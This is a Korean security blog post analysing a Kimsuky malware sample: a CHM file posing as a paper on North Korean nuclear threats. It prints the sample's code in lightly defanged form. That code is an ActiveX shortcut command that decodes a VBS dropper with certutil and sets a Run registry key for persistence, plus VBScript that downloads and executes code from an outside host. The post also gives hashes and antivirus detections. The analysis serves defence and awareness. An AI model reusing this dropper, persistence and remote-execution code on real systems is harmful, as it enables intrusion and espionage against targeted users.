꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky) 만든 북의 핵위협 양상과 한국의 대응방향.chm 에 대해 글을 적어 보겠습니다. 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크, 산업계, 원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요 인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며
그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며
해당 악성코드는 기본적으로 chm 형식으로 되어져 있습니다.
일단 해당 악성코드 북한이탈주민 이자 북한전략정보서비스센터 소장, 세종연구소 객원 연구위원 이면서 김일성종합대학, 김책공업종합대학과 3대 명문 중 하나인 리과대학 졸업한 이윤걸 대표가 적은 것처럼 된 악성코드입니다.

북의 핵위협 양상과 한국의 대응방향.chm 악성코드 실행(2023.9.18)
북의 핵위협 양상과 한국의 대응방향.chm 악성코드 실행(2023.9.18)

악성코드 에 포함된 내용

북의 핵위협 양상과 한국의 대응방향
이윤걸
1. 서론
1) 연구배경 및 목적
2) 선행연구 검토
2. 북핵 위기 확대 모델과 핵 사용 결정요인
1) ‘핵 무력 법제화’에 나타난 북한의 핵전략
2) 북한의 핵사용 결정 요인 및 유형
3. 북의 핵능력과 핵교리의 변화
1) 핵능력의 발전
2) 핵교리의 변화
3) 북핵 위협 양상에의 함의 
4. 한국의 대응방향
1) 외교안보전략
2) 국방군사전략

먼저 해쉬값은 다음과 같습니다.
파일명: 북의 핵위협 양상과 한국의 대응방향.chm
사이즈:31.2 KB
CRC32:ee1028cb
MD5:364d4fdf430477222fe854b3cd5b6d40
SHA-1:b5224224fdbabdea53a91a96e9f816c6f9a8708c
SHA-256:c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05
해당 악성코드는 home.html 부분에 있으며 해당 부분에 쭉 내려가다 보면 악성코드 코드가 있는 것을 확인할 수가 있습니다.

악성코드 동작 코드

chm 악성코드 악성코드 동작 코드
chm 악성코드 악성코드 동작 코드

<OBJECT id=shortcut classid="clsid:52a2aaae-085d(-)4187(-)97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" va(l)ue="ShortCut">
<PARAM name="Button" value(=)"Bitmap(:)shortcut">
<PARAM name="Item1" value(=)',cmd,( /)c echo T24gRXJyb3(I)gUm(()(V))zdW1lIE5leHQ
NCg0KU2V0IG14(I)D0gQ3JlYX(R)lT2JqZWN0KCJNaW
Nyb3(N)vZnQuWE1MSFRUUCIpDQpteC5v(c)GV(u)ICJHRVQiLC(A)iaHR0cDovLzAwNzAxMTExL
jAwMHdlYmhvc3R(h)cHAuY29tL3dw(L)WV4dHJhL3Nob3cuc(G)hwP3F1ZXJ5PTUwIiwgRmFs
c2U(N)Cm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNw(b)25zZVRleHQp >
"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA(.)dat" (&) start /MIN certutil
-decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA(.)dat"
"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" &
start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run (/)v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA(.)vbs" /f'>
<PARAM name="Ite(m)2" value="273,1,1">
</OBJECT>
<script>
shortcut(.)Click();
</SCRIPT>
</HTML>

CyberChef 로 본 코드
CyberChef 로 본 코드

악성코드 설명

1.<OBJECT> 요소:
id="shortcut":객체를 식별하는 고유한 ID
classid="clsid:52a2aaae(-)085d-4187(-)97ea-8c30db990436":ActiveX 컨트롤을 로드 하도록 지시함
2. <PARAM> 요소 (악성 코드):
name="Command" value="ShortCut":악성 코드를 실행할 때 사용되는 명령
name="Button" value="Bitmap:shortcut":버튼 또는 이미지로 사용되는 값
name="Item1" value=...:해당 부분에는 실제 악성 코드 몇 가지 작업을 수행하는 스크립트
주요 내용은:
%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat에 특정 내용을 저장
certutil` 명령을 사용하여 데이터를 디코딩하고 `%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA(.)vbs 파일을 생성
레지스트리 항목을 추가하여 %USERPROFILE%\Links\MXFhejJ3c3gzZWRjA(.)vbs 파일이 사용자 계정 시작 시 실행되도록 함
3.<PARAM>요소:
name="Item2" value="273,1,1":해당 값은 무시될 수 있으며, 여기서는 사용되지 않음
4.<SCRIPT> 요소:
shortcut.Click();:JavaScript 코드가 ActiveX 컨트롤을 클릭하도록 함 이로써 shortcut 객체의 Click() 메서드가 실행되며 해당 부분은 악성 코드를 트리거 합니다.
레지스터리에 등록해서 컴퓨터가 실행될 때마다 실행되고 합니다.
여기서 악성코드가 정상적으로 실행되면 MXFhejJ3c3gzZWRjA(.)vbs가 생성이 되고 돼 있습니다.

악성코드가 생성한 VBS 파일
악성코드가 생성한 VBS 파일

해당 MXFhejJ3c3gzZWRjA 해쉬값
파일명:MXFhejJ3c3gzZWRjA(.)vbs
사이즈:189 B
CRC32:c623e287
MD5:149a6639da7897a928b6f96c0f80612d
SHA-1:bd7527b2809ea227ff5f4107d3aecfd00809c1b6
SHA-256:59a0b32c22c79e7e48614add0e5cdf846f50d38d46201077309534a093a723ac

MXFhejJ3c3gzZWRjA.vbs 악성코드 내부
MXFhejJ3c3gzZWRjA.vbs 악성코드 내부

악성코드 내용

On Error Resume Next

Set mx(=) CreateObject("Microsoft(.)XMLHTTP")
mx.open "GET", "http://00701111.000webhostapp(.)com/wp-extra/show(.)php?query=50", False
mx(.)Send

Execute(mx(.)responseText)

악성코드 설명

해당 코드는 Visual Basic Script (VBScript)를 사용하여 웹에서 데이터를 가져와 실행하는 작업을 수행
1.On Error Resume Next:
오류 처리를 설정하는 부분
On Error Resume Next 는 코드 실행 중에 오류가 발생하면 실행을 중단하지 않고 다음 명령문을 실행하도록 하며 즉 오류가 발생해도 코드가 계속 실행
2. Set mx = CreateObject("Microsoft(.)XMLHTTP"):
Microsoft(.)XM(L)HTTP 라는 COM 개체를 생성하고 mx 변수에 할당
해당 개체는 웹에서 데이터를 가져오고 보낼 수 있는 HTTP 요청을 만들고 제어할 수 있는 기능을 제공
3.mx.open "GET", "http://00701111.000webhostapp(.)com/wp-extra/show(.)php?query=50", False`:
mx 객체를 사용하여 HTTP GET 요청을 설정
"GET"은 HTTP 요청 방법을 지정
"http://00701111.000webhostapp(.)com/wp-extra/show(.)php?query=50"은 데이터를 가져올 웹 페이지 주소
False 는 요청을 비동기식으로 보내지 않고 요청이 완료될 때까지 대기
4.mx.Send:
이전에 설정한 HTTP 요청을 서버에 보내고 데이터를 서버로 보내고 서버로부터 응답을 받을 때까지 해당 코드는 블록
5.Execute(mx(.)responseText):
서버에서 받은 응답 데이터를 실행 함
mx(.)responseText 는 서버로부터 받은 응답 데이터를 나타냄
Execute 함수를 사용하여 이 데이터를 실행하려고 시도
해당 코드는 원격 서버에서 가져온 데이터를 실행하려고 합니다.

북의 핵위협 양상과 한국의 대응방향.chm 내부 내용(2023.9.18)
북의 핵위협 양상과 한국의 대응방향.chm 내부 내용(2023.9.18)

MXFhejJ3c3gzZWRjA(.)dat 이라는 파일도 생성되며 해당 내용을 보면 다음과 같이 Base64 로 된 것을 확인할 수가 있습니다.

CyberChef 로 Base 64 디코딩 내용
CyberChef 로 Base 64 디코딩 내용

위의 VBS 코드하고 같음
이며 이번 악성코드는 대북 관계자 분들을 노리는 것으로 추측할 수가 있습니다.
2023-09-19 16:24:59 UTC 기준 바이러스 토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
ALYac:Trojan.Downloader.CHM
Arcabit:Trojan.Generic.D4222932
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.GenericKD.69347634
Emsisoft:Trojan.GenericKD.69347634 (B)
eScan:Trojan.GenericKD.69347634
ESET-NOD32:HTML/TrojanDropper.Agent.R
Fortinet:JS/Agent.00E5!tr
GData:Trojan.GenericKD.69347634
Google:Detected
Ikarus:Win32.Outbreak
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.HTML.Generic.4!c
MAX:Malware (ai Score=58)
McAfee-GW-Edition:Artemis!Trojan
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Sangfor Engine Zero:Exploit.Generic-Script.Save.b67efc64
Symantec:Trojan.Gen.NPE
Tencent:Script.Trojan.Generic.Azlw
Trellix (FireEye):Trojan.GenericKD.69347634
TrendMicro:HEUR_CHM.E
VIPRE:Trojan.GenericKD.69347634
ViRobot:CHM.S.Agent.32013
ZoneAlarm by Check Point:HEUR:Trojan.Script.Generic
결론 언제나 말하지만, 기본적인 보안 수칙과 인지도 있는 백신 프로그램들을 설치해서 사용하시면 피해를 줄이는 데 도움이 될 수가 있습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band